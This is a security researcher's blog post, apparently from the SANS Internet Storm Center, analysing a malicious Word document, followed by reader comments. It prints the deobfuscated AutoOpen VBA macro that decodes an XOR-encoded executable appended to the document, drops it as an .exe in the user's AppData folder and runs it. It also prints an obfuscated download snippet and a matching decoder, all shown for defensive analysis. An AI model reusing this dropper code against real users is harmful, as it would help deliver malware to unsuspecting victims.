Analyze of a malicious Word document with an embedded payload
This week, I was busy with an incident which involved an interesting malicious Word document. OLE documents with malicious macros are not new, I receive a few of them every day in my mail trap. Until they remain a great way to compromise end-user computers, the flood won't stop. Usually, the macro is executed (the user is asked to enable its execution using social engineering traps like "The content of this document is protected, enable macros to view it") and downloads a new payload via the object MSXML2.ServerXMLHTTP. Here is an example of an obfuscation object construction to perform a GET request:
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P" Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ) Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
The good point (or the bad point depending on the side you're located - attacker/defender) is that this helps to create interesting lists of IOCs with IP addresses, URLs, domains or filenames. It's quite easy to deobfuscate the macro and collect the IOCs.
In the incident I was involved, there was no network traffic generated by the malicious macro. The payload was already present and appended at the end the Word file. The document was generated in September 2015 and its VT score was only 2/43 (3 days ago). I was the first to submit it. The content of the document was properly formatted, with interesting information for the victim (of course). I used Didier Stevens's toolbox to analyze the document.
The document was created by a user "Helmut" the 3rd of September 2015. It contains 2 macros:
$ oledump.py malicious.doc 1: 121 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 23860 '1Table' 5: 781575 'Data' 6: 486 'Macros/PROJECT' 7: 71 'Macros/PROJECTwm' 8: m 940 'Macros/VBA/ThisDocument' 9: 3256 'Macros/VBA/_VBA_PROJECT' 10: 569 'Macros/VBA/dir' 11: M 6052 'Macros/VBA/islamabad' 12: 257675 'WordDocument'
The interesting macro is in the section 11 (note the name: "islamabad" - the capital of Pakistan). It is a classic obfuscated macro that can be extracted via this command:
$ oledump.py -s 11 -v malicious.doc
[Note: I performed some cleanup and deobfuscation in the macro code to make it more readable]
Basically, the malicious payload (a classic PE file) is appended to the Word document with extra data: the size of the payload and a checksum. Let's review the code:
Attribute VB_Name = "islamabad" Public var_Filename1 As String Public var_Path1 As String
The first function performs a checksum of the extract binary stream:
Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte
For I = 0 To var_Len - 1
func_Checksum = func_Checksum Xor var_Data(I)
Next I
End Function
The binary is XOR'd. The next function decodes it:
Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean
Dim var_IV1 As Byte
var_IV1 = 11
For I = 0 To var_Len - 1
var_Data(I) = var_Data(I) Xor var_IV1
var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256))
Next I
func_DecodeBinary = True
End Function
This function changes the document layout. (I don't know exactly the reason of this)
Function func_FormatDocument() As Boolean
ActiveDocument.GrammarChecked = False
ActiveDocument.SpellingChecked = False
ActiveDocument.Select
Selection.Font.ColorIndex = wdBlack
Selection.Font.Underline = wdUnderlineNone
Selection.HomeKey
For Each sec In ActiveDocument.Sections
For Each head In sec.Headers
head.Range.Delete
Next
Next
ViewDocument = True
End Function
Sub AutoClose()
ActiveDocument.Save
End Sub
And now the principal macro automatically executed when the document is opened:
Sub AutoOpen()
On Error GoTo ErrorCondition1
Dim var_Dummy1 As Boolean
var_Dummy1 = func_FormatDocument()
Dim fh_File1
Dim var_Filesize As Long
Dim var_BinarySize As Long
Dim var_Checksum As Byte
We get the file size, open it and extract the checksum (located EOF -4) and the binary stream size (EOF -3).
var_Filesize = FileLen(ActiveDocument.FullName)
fh_File1 = FreeFile
Open (ActiveDocument.FullName) For Binary As #fh_File1
Get #fh_File1, (var_Filesize - 4), var_Checksum
Get #fh_File1, (var_Filesize - 3), var_BinarySize
If var_BinarySize < 8 Then
GoTo ErrorCondition1
End If
If (var_BinarySize + 4) > var_Filesize Then
GoTo ErrorCondition1
End If
The script computes the starting position of the data stream and prepare a byte array with the correct size.
Dim var_Offset As Long
var_Offset = var_Filesize - (var_BinarySize + 4)
Dim var_BinaryData1() As Byte
ReDim var_BinaryData1(var_BinarySize - 1)
Then, the binary file is extracted and decoded:
Get #fh_File1, var_Offset, var_BinaryData1
Close #fh_File1
If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then
GoTo ErrorCondition1
End If
The checksum is verified:
Dim var_Dummy2 As Byte
var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize)
If var_Checksum <> var_Dummy2 Then
GoTo ErrorCondition1
End If
The default path to drop the payload is obfuscated.
(Value = "appdata\Microsoft\Word")
var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)
The object "Scripting.FileSystemObject" is also obfuscated:
Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
Just in case of the default path does not exists (which should not be the case because Word is present on the target system), the script uses another one ("appdata"):
If Not var_Object1.FolderExists(var_Path1) Then
var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97))
End If
Set var_Object1 = Nothing
Dim fh_File2
fh_File2 = FreeFile
The dropped payload filename is also obfuscated and we create the file
(Value: "wfletxavb.exe")
Remark: I don't know why the filename is not dynamically generated with random characters. This could avoid the detection of the malicious binary on a file system.
var_Filename1 = var_Path1 & "\" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
Open (var_Filename1) For Binary As #fh_File2
Put #fh_File2, 1, var_BinaryData1
Close #fh_File2
Erase var_BinaryData1
We are ready to execute it!
Set var_Object2 = CreateObject("WScript.Shell")
var_Object2.Exec var_Filename1
Exit Sub
ErrorCondition1:
Close #fh_File1
Close #fh_File2
ActiveDocument.Save
End Sub
By reversing the macro, we can guess the starting position of the binary and extract it manually via the Didier's cut-bytes.py tool. We need to skip the last bytes of the document (containing the payload size and checksum):
[Note: Didier added a new feature to his tools to help me to extract data: it's now possible to specify to ignore bytes at the end of the file (the '-5' part in the command line below)]
$ cut-bytes.py "<position>:-5" malicious.doc >binary.data $ file binary.data binary.data: data
The decoding function being in the macro, we can reuse it and write a specific decoder for the translate.py tool:
def FileDecode(input):
output = ''
code = 11
for iIter in range(len(input)):
output += chr(ord(input[iIter]) ^ code)
code = (code ^ 13) ^ (iIter % 256)
return output
Finally, we can decode the binary and get a PE file:
$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode $ file binary.exe binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
This PE file was never sent to VirusTotal and is clearly malicious. More investigations are still ongoing.
The construction of the file (OLE document + PE file + checksum + PE file length) looks ideal to quickly allow the attackers to generate a new encoded PE file and just append it to the same Word document. I can't share the samples at this time, investigations are still ongoing.
Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments
one example documented at http://myonlinesecurity.co.uk/transaction-and-payment-confirmation-from-spilo-worldwide-word-doc-malware/
Interesting to note that the downloaded binary ( Dridex) has a valid digital signature
Also the word doc when examined has Islamic references at the bottom of the word doc ( whether these are genuine or just filling and misguiding is open to debate)
The other unusual thing about this particular run of malspam was that the emails are being sent to recipients worldwide not just to a region. We generally see them sent to UK only with a small scattering to USA or Europe. This one is fairly evenly split between UK and USA and seems to indicate a new bot net owner has taken over or is using the Dridex bot to send
Anonymous
Nov 14th 2015
9 years ago
Anonymous
Nov 14th 2015
9 years ago
Use SAFER or an NTFS ACE to deny execution anywhere a user can write/create/modify files to stop these attacks dead in their tracks.
Anonymous
Nov 14th 2015
9 years ago
Also, in some corporate environments, it could not be used (for compatibility reason or conflicts with other apps)
Anonymous
Nov 14th 2015
9 years ago
is it possible you can share all hashes involved? Thanks!
Cheers
Bart
Anonymous
Nov 15th 2015
9 years ago
badmacro.ndb is picking up a lot of these, with ClamAV and 3rd Party sigs.
Cheers,
Steve
Blog: sanesecurity.blogspot.co.uk
Web: Sanesecurity.com
Anonymous
Nov 16th 2015
9 years ago